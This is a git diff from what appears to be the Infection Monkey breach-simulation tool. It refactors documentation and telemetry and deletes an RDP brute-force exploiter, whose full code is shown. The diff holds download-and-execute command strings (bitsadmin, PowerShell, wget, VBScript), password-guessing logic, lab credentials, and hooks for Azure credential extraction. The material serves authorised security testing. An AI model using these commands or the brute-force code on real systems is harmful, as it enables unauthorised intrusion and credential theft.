diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 2744fac11..035eb0124 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
-Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
+Are you about to report a bug? Sorry to hear it. Here's our
+[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
-If you want to contribute new code or fix bugs..
+If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
+maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
-Also, please submit PRs to the develop branch.
+Also, please submit PRs to the `develop` branch.
+
+#### Unit tests
+**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
+filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
+
+Please try to read some of the existing unit testing code, so you can see some examples.
+
+#### Branch naming scheme
+**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
+`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.
diff --git a/README.md b/README.md
index 6ab6813ce..67b5b2e8b 100644
--- a/README.md
+++ b/README.md
@@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
- * RDP
* WMI
* Shellshock
* Conficker
diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf
index 8ffa668ef..d90d84ca4 100644
--- a/envs/monkey_zoo/configs/fullTest.conf
+++ b/envs/monkey_zoo/configs/fullTest.conf
@@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
- "RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
- "rdp_grinder": {
- "rdp_use_vbs_download": true
- },
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 217a22b23..b792b16f4 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines.
2}p}aR]&=M |
-Scan results: |
-Machine exploited using RDP grinder |
-
-
Server’s config: |
Remote desktop enabled
Admin user’s credentials:
m0nk3y, 2}p}aR]&=M |
-
+
Notes: |
|
-
+
|
|
@@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines.
Server’s config: |
-Has cashed mimikatz-15 RDP credentials
+ | Has cached mimikatz-15 RDP credentials
SMB turned on |
diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py
similarity index 97%
rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py
rename to monkey/common/cloud/aws_service_test.py
index 8aec518d3..699e2c489 100644
--- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py
+++ b/monkey/common/cloud/aws_service_test.py
@@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
-class TestFilter_instance_data_from_aws_response(TestCase):
+class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index cb5bf881b..1d31c709a 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -216,9 +216,6 @@ class Configuration(object):
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
- # rdp exploiter
- rdp_use_vbs_download = True
-
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index 8dba50352..57b8d6ee5 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
- "rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 19e5b327e..9db1bad47 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -80,7 +80,6 @@ class HostExploiter(object):
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
-from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index 690b5e348..f1057f2dd 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE
@@ -39,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
- exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
+ exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
deleted file mode 100644
index 0cf225637..000000000
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ /dev/null
@@ -1,346 +0,0 @@
-import os.path
-import threading
-import time
-from logging import getLogger
-
-import rdpy.core.log as rdpy_log
-import twisted.python.log
-from rdpy.core.error import RDPSecurityNegoFail
-from rdpy.protocol.rdp import rdp
-from twisted.internet import reactor
-
-from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
-from common.utils.exploit_enum import ExploitType
-from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
-from infection_monkey.exploit.tools.http_tools import HTTPTools
-from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
-from infection_monkey.utils import utf_to_ascii
-
-__author__ = 'hoffer'
-
-KEYS_INTERVAL = 0.1
-MAX_WAIT_FOR_UPDATE = 120
-KEYS_SENDER_SLEEP = 0.01
-DOWNLOAD_TIMEOUT = 60
-RDP_PORT = 3389
-LOG = getLogger(__name__)
-
-
-def twisted_log_func(*message, **kw):
- if kw.get('isError'):
- error_msg = 'Unknown'
- if 'failure' in kw:
- error_msg = kw['failure'].getErrorMessage()
- LOG.error("Error from twisted library: %s" % (error_msg,))
- else:
- LOG.debug("Message from twisted library: %s" % (str(message),))
-
-
-def rdpy_log_func(message):
- LOG.debug("Message from rdpy library: %s" % (message,))
-
-
-twisted.python.log.msg = twisted_log_func
-rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
-rdpy_log.log = rdpy_log_func
-
-# thread for twisted reactor, create once.
-global g_reactor
-g_reactor = threading.Thread(target=reactor.run, args=(False,))
-
-
-class ScanCodeEvent(object):
- def __init__(self, code, is_pressed=False, is_special=False):
- self.code = code
- self.is_pressed = is_pressed
- self.is_special = is_special
-
-
-class CharEvent(object):
- def __init__(self, char, is_pressed=False):
- self.char = char
- self.is_pressed = is_pressed
-
-
-class SleepEvent(object):
- def __init__(self, interval):
- self.interval = interval
-
-
-class WaitUpdateEvent(object):
- def __init__(self, updates=1):
- self.updates = updates
- pass
-
-
-def str_to_keys(orig_str):
- result = []
- for c in orig_str:
- result.append(CharEvent(c, True))
- result.append(CharEvent(c, False))
- result.append(WaitUpdateEvent())
- return result
-
-
-class KeyPressRDPClient(rdp.RDPClientObserver):
- def __init__(self, controller, keys, width, height, addr):
- super(KeyPressRDPClient, self).__init__(controller)
- self._keys = keys
- self._addr = addr
- self._update_lock = threading.Lock()
- self._wait_update = False
- self._keys_thread = threading.Thread(target=self._keysSender)
- self._keys_thread.daemon = True
- self._width = width
- self._height = height
- self._last_update = 0
- self.closed = False
- self.success = False
- self._wait_for_update = None
-
- def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
- update_time = time.time()
- self._update_lock.acquire()
- self._last_update = update_time
- self._wait_for_update = False
- self._update_lock.release()
-
- def _keysSender(self):
- LOG.debug("Starting to send keystrokes")
- while True:
-
- if self.closed:
- return
-
- if len(self._keys) == 0:
- reactor.callFromThread(self._controller.close)
- LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
- return
-
- key = self._keys[0]
-
- self._update_lock.acquire()
- time_diff = time.time() - self._last_update
- if type(key) is WaitUpdateEvent:
- self._wait_for_update = True
- self._update_lock.release()
- key.updates -= 1
- if key.updates == 0:
- self._keys = self._keys[1:]
- elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
- self._wait_for_update = False
- self._update_lock.release()
- if type(key) is ScanCodeEvent:
- reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
- key.is_special)
- elif type(key) is CharEvent:
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
- elif type(key) is SleepEvent:
- time.sleep(key.interval)
-
- self._keys = self._keys[1:]
- else:
- self._update_lock.release()
- time.sleep(KEYS_SENDER_SLEEP)
-
- def onReady(self):
- time.sleep(1)
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
- time.sleep(1)
- reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
- time.sleep(1)
- pass
-
- def onClose(self):
- self.success = len(self._keys) == 0
- self.closed = True
-
- def onSessionReady(self):
- LOG.debug("Logged in, session is ready for work")
- self._last_update = time.time()
- self._keys_thread.start()
-
-
-class CMDClientFactory(rdp.ClientFactory):
- def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
- self._username = username
- self._password = password
- self._domain = domain
- self._keyboard_layout = "en"
- # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter
- self._keys = [SleepEvent(1),
- ScanCodeEvent(91, True, True),
- ScanCodeEvent(19, True),
- ScanCodeEvent(19, False),
- ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
- [WaitUpdateEvent(), ScanCodeEvent(28, True),
- ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
- [WaitUpdateEvent(), ScanCodeEvent(28, True),
- ScanCodeEvent(28, False), WaitUpdateEvent()]
- self._optimized = optimized
- self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
- self._nego = True
- self._client = None
- self._width = width
- self._height = height
- self.done_event = threading.Event()
- self.success = False
-
- def buildObserver(self, controller, addr):
- """
- @summary: Build RFB observer
- We use a RDPClient as RDP observer
- @param controller: build factory and needed by observer
- @param addr: destination address
- @return: RDPClientQt
- """
-
- # create client observer
- self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
-
- controller.setUsername(self._username)
- controller.setPassword(self._password)
- controller.setDomain(self._domain)
- controller.setKeyboardLayout(self._keyboard_layout)
- controller.setHostname(addr.host)
- if self._optimized:
- controller.setPerformanceSession()
- controller.setSecurityLevel(self._security)
-
- return self._client
-
- def clientConnectionLost(self, connector, reason):
- # try reconnect with basic RDP security
- if reason.type == RDPSecurityNegoFail and self._nego:
- LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
- (connector.host, connector.port))
- # stop nego
- self._nego = False
- self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
- connector.connect()
- return
-
- LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
- self.success = self._client.success
- self.done_event.set()
-
- def clientConnectionFailed(self, connector, reason):
- LOG.debug("RDP connection to %s:%s failed, with error: %s" %
- (connector.host, connector.port, reason.getErrorMessage()))
- self.success = False
- self.done_event.set()
-
-
-class RdpExploiter(HostExploiter):
-
- _TARGET_OS_TYPE = ['windows']
- EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
- _EXPLOITED_SERVICE = 'RDP'
-
- def __init__(self, host):
- super(RdpExploiter, self).__init__(host)
-
- def is_os_supported(self):
- if super(RdpExploiter, self).is_os_supported():
- return True
-
- if not self.host.os.get('type'):
- is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
- if is_open:
- self.host.os['type'] = 'windows'
- return True
- return False
-
- def _exploit_host(self):
- global g_reactor
-
- is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
- if not is_open:
- LOG.info("RDP port is closed on %r, skipping", self.host)
- return False
-
- src_path = get_target_monkey(self.host)
-
- if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", self.host)
- return False
-
- # create server for http download.
- http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
-
- if not http_path:
- LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
- return False
-
- LOG.info("Started http server on %s", http_path)
-
- cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
-
- if self._config.rdp_use_vbs_download:
- command = RDP_CMDLINE_HTTP_VBS % {
- 'monkey_path': self._config.dropper_target_path_win_32,
- 'http_path': http_path, 'parameters': cmdline}
- else:
- command = RDP_CMDLINE_HTTP_BITS % {
- 'monkey_path': self._config.dropper_target_path_win_32,
- 'http_path': http_path, 'parameters': cmdline}
-
- user_password_pairs = self._config.get_exploit_user_password_pairs()
-
- if not g_reactor.is_alive():
- g_reactor.daemon = True
- g_reactor.start()
-
- exploited = False
- for user, password in user_password_pairs:
- try:
- # run command using rdp.
- LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'",
- self.host, user, self._config.hash_sensitive_data(password))
-
- LOG.info("RDP connected to %r", self.host)
-
- user = utf_to_ascii(user)
- password = utf_to_ascii(password)
- command = utf_to_ascii(command)
-
- client_factory = CMDClientFactory(user, password, "", command)
-
- reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
-
- client_factory.done_event.wait()
-
- if client_factory.success:
- if not self._config.rdp_use_vbs_download:
- T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
- self.add_vuln_port(RDP_PORT)
- exploited = True
- self.report_login_attempt(True, user, password)
- break
- else:
- # failed exploiting with this user/pass
- self.report_login_attempt(False, user, password)
-
- except Exception as exc:
- LOG.debug("Error logging into victim %r with user"
- " %s and password (SHA-512) '%s': (%s)", self.host,
- user, self._config.hash_sensitive_data(password), exc)
- continue
-
- http_thread.join(DOWNLOAD_TIMEOUT)
- http_thread.stop()
-
- if not exploited:
- LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
- return False
- elif http_thread.downloads == 0:
- LOG.debug("Exploiter RdpGrinder failed, http download failed.")
- return False
-
- LOG.info("Executed monkey '%s' on remote victim %r",
- os.path.basename(src_path), self.host)
- self.add_executed_cmd(command)
- return True
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 18a2dcee1..5f408af79 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -309,7 +309,7 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
- backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
+ backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index e6c2e63a5..dd3e9ca63 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
-RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
-RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
+BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 3fb8b251f..86addd009 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,10 +1,11 @@
import logging
import subprocess
-import socket
-from infection_monkey.control import ControlClient
+
+from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
@@ -46,8 +47,26 @@ class PBA(object):
"""
exec_funct = self._execute_default
result = exec_funct()
+ if self.scripts_were_used_successfully(result):
+ T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send()
PostBreachTelem(self, result).send()
+ def is_script(self):
+ """
+ Determines if PBA is a script (PBA might be a single command)
+ :return: True if PBA is a script(series of OS commands)
+ """
+ return isinstance(self.command, list) and len(self.command) > 1
+
+ def scripts_were_used_successfully(self, pba_execution_result):
+ """
+ Determines if scripts were used to execute PBA and if they succeeded
+ :param pba_execution_result: result of execution function. e.g. self._execute_default
+ :return: True if scripts were used, False otherwise
+ """
+ pba_execution_succeeded = pba_execution_result[1]
+ return pba_execution_succeeded and self.is_script()
+
def _execute_default(self):
"""
Default post breach command execution routine
diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt
index bef031d2e..f30131267 100644
--- a/monkey/infection_monkey/requirements_linux.txt
+++ b/monkey/infection_monkey/requirements_linux.txt
@@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
-pyasn1
cffi
-twisted
-rdpy
requests
odict
paramiko
diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt
index 5689ca332..a9642aa2f 100644
--- a/monkey/infection_monkey/requirements_windows.txt
+++ b/monkey/infection_monkey/requirements_windows.txt
@@ -1,10 +1,7 @@
enum34
impacket
pycryptodome
-pyasn1
cffi
-twisted
-rdpy
requests
odict
paramiko
diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py
index 80d9f064f..90626922d 100644
--- a/monkey/infection_monkey/system_info/azure_cred_collector.py
+++ b/monkey/infection_monkey/system_info/azure_cred_collector.py
@@ -7,6 +7,7 @@ import subprocess
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
+from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
__author__ = 'danielg'
@@ -58,6 +59,7 @@ class AzureCollector(object):
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send()
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
@@ -97,6 +99,7 @@ class AzureCollector(object):
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send()
+ T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send()
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 7c3739a0f..b8a102831 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector):
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
+ LOG.info('Mimikatz info gathered successfully')
else:
LOG.info('No mimikatz info was gathered')
diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
new file mode 100644
index 000000000..efea27063
--- /dev/null
+++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py
@@ -0,0 +1,19 @@
+from infection_monkey.telemetry.attack.usage_telem import AttackTelem
+
+
+class T1064Telem(AttackTelem):
+ def __init__(self, status, usage):
+ """
+ T1064 telemetry.
+ :param status: ScanStatus of technique
+ :param usage: Usage string
+ """
+ super(T1064Telem, self).__init__('T1064', status)
+ self.usage = usage
+
+ def get_data(self):
+ data = super(T1064Telem, self).get_data()
+ data.update({
+ 'usage': self.usage
+ })
+ return data
diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
similarity index 100%
rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py
rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py
similarity index 100%
rename from monkey/monkey_island/cc/models/test_monkey.py
rename to monkey/monkey_island/cc/models/monkey_test.py
diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py
index 7e1f17c48..52ccfeb5d 100644
--- a/monkey/monkey_island/cc/resources/aws_exporter.py
+++ b/monkey/monkey_island/cc/resources/aws_exporter.py
@@ -58,7 +58,6 @@ class AWSExporter(Exporter):
'wmi_password': AWSExporter._handle_wmi_password_issue,
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
'ssh_key': AWSExporter._handle_ssh_key_issue,
- 'rdp': AWSExporter._handle_rdp_issue,
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
@@ -305,20 +304,6 @@ class AWSExporter(Exporter):
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
- @staticmethod
- def _handle_rdp_issue(issue, instance_arn):
-
- return AWSExporter._build_generic_finding(
- severity=1,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
- issue['username']),
- recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
- machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
- instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
- )
-
@staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn):
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index a03e6a512..c04e6870f 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -3,7 +3,7 @@ import logging
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
-from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016
+from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.database import mongo
@@ -33,7 +33,10 @@ TECHNIQUES = {'T1210': T1210.T1210,
'T1222': T1222.T1222,
'T1005': T1005.T1005,
'T1018': T1018.T1018,
- 'T1016': T1016.T1016}
+ 'T1016': T1016.T1016,
+ 'T1021': T1021.T1021,
+ 'T1064': T1064.T1064
+ }
REPORT_NAME = 'new_report'
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
index 9d396dc26..c75678fdc 100644
--- a/monkey/monkey_island/cc/services/attack/attack_schema.py
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -48,6 +48,15 @@ SCHEMA = {
"necessary": True,
"description": "Files may be copied from one system to another to stage "
"adversary tools or other files over the course of an operation."
+ },
+ "T1021": {
+ "title": "T1021 Remote services",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1110"],
+ "description": "An adversary may use Valid Accounts to log into a service"
+ " specifically designed to accept remote connections."
}
}
},
@@ -62,7 +71,7 @@ SCHEMA = {
"necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained.",
- "depends_on": ["T1210"]
+ "depends_on": ["T1210", "T1021"]
},
"T1003": {
"title": "T1003 Credential dumping",
@@ -164,6 +173,14 @@ SCHEMA = {
"necessary": True,
"description": "Adversaries can use PowerShell to perform a number of actions,"
" including discovery of information and execution of code.",
+ },
+ "T1064": {
+ "title": "T1064 Scripting",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may use scripts to aid in operations and "
+ "perform multiple actions that would otherwise be manual.",
}
}
},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
new file mode 100644
index 000000000..d22583359
--- /dev/null
